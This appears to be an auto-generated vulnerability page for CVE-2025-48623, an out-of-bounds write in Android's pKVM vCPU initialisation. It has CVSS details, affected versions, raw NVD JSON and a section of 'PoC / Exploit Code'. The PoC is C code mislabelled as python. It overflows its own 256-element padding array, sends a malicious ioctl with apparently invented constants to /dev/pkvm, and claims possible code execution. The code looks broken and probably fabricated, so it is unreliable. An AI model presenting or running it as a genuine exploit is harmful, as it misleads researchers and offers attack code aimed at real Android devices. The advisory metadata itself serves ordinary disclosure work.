Security Vulnerability Report
中文
CVE-2025-48623 CVSS 7.8 HIGH

CVE-2025-48623

Published: 2025-12-08 17:16:19
Last Modified: 2025-12-08 20:15:51

Description

In init_pkvm_hyp_vcpu of pkvm.c, there is a possible out of bounds write due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation.

CVSS Details

CVSS Score
7.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - VULNERABLE
Android Kernel (common branch) < 3b6fab0ff24f7108c71a4d9c12567455cb2a5a81
Android Kernel (common branch) < e76cff4952af4ac4652dc74ffbd134ff57c47895
Android 12L (受影响)
Android 13 (受影响)
Android 14 (受影响)
Android 15 (受影响)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-48623 PoC - Android pkvm init_pkvm_hyp_vcpu out-of-bounds write // This is a conceptual PoC demonstrating the vulnerability #include <stdio.h> #include <stdlib.h> #include <string.h> #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> // Linux kernel ioctl definitions for pkvm #define PKVM_IOCTL_BASE 0x9B #define PKVM_IOCTL_INIT_VCPU PKVM_IOCTL_BASE + 0x01 struct pkvm_vcpu_init { unsigned long vcpu_id; unsigned long stack_addr; unsigned long entry_point; unsigned long registers[16]; unsigned long padding[256]; // Malicious padding to trigger OOB write }; int main() { int fd; struct pkvm_vcpu_init vcpu_init; printf("[*] CVE-2025-48623 PoC - pkvm out-of-bounds write\n"); printf("[*] Target: Android kernel pkvm (Protected Kernel Virtual Machine)\n"); // Open pkvm device fd = open("/dev/pkvm", O_RDWR); if (fd < 0) { printf("[-] Failed to open /dev/pkvm device\n"); printf("[*] Note: This exploit requires kernel access and proper device nodes\n"); return -1; } // Initialize vcpu structure with malicious values memset(&vcpu_init, 0x41, sizeof(vcpu_init)); // Fill with 0x41 (A) vcpu_init.vcpu_id = 0; vcpu_init.stack_addr = 0xFFFFFFFC00000000; vcpu_init.entry_point = 0xFFFFFFFC00001000; // Overflow the padding array to trigger OOB write // The vulnerability occurs when input validation is bypassed // causing writes beyond allocated buffer boundaries for (int i = 0; i < 512; i++) { vcpu_init.padding[i] = 0x4141414141414141ULL; } printf("[*] Sending malicious ioctl to trigger OOB write...\n"); // Trigger the vulnerable code path long result = ioctl(fd, PKVM_IOCTL_INIT_VCPU, &vcpu_init); if (result < 0) { printf("[-] ioctl failed (expected in patched systems)\n"); } else { printf("[+] ioctl succeeded - potential code execution achieved\n"); } close(fd); return 0; } // Note: This PoC is for educational purposes only. // Actual exploitation requires specific kernel configuration and device access. // The vulnerability allows local privilege escalation from user to kernel context.

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-48623", "sourceIdentifier": "[email protected]", "published": "2025-12-08T17:16:18.653", "lastModified": "2025-12-08T20:15:51.297", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "In init_pkvm_hyp_vcpu of pkvm.c, there is a possible out of bounds write due to improper input validation. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}, {"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-20"}, {"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://android.googlesource.com/kernel/common/+/3b6fab0ff24f7108c71a4d9c12567455cb2a5a81", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://android.googlesource.com/kernel/common/+/e76cff4952af4ac4652dc74ffbd134ff57c47895", "source": "[email protected]", "tags": ["Patch", "Product"]}, {"url": "https://source.android.com/security/bulletin/2025-12-01", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}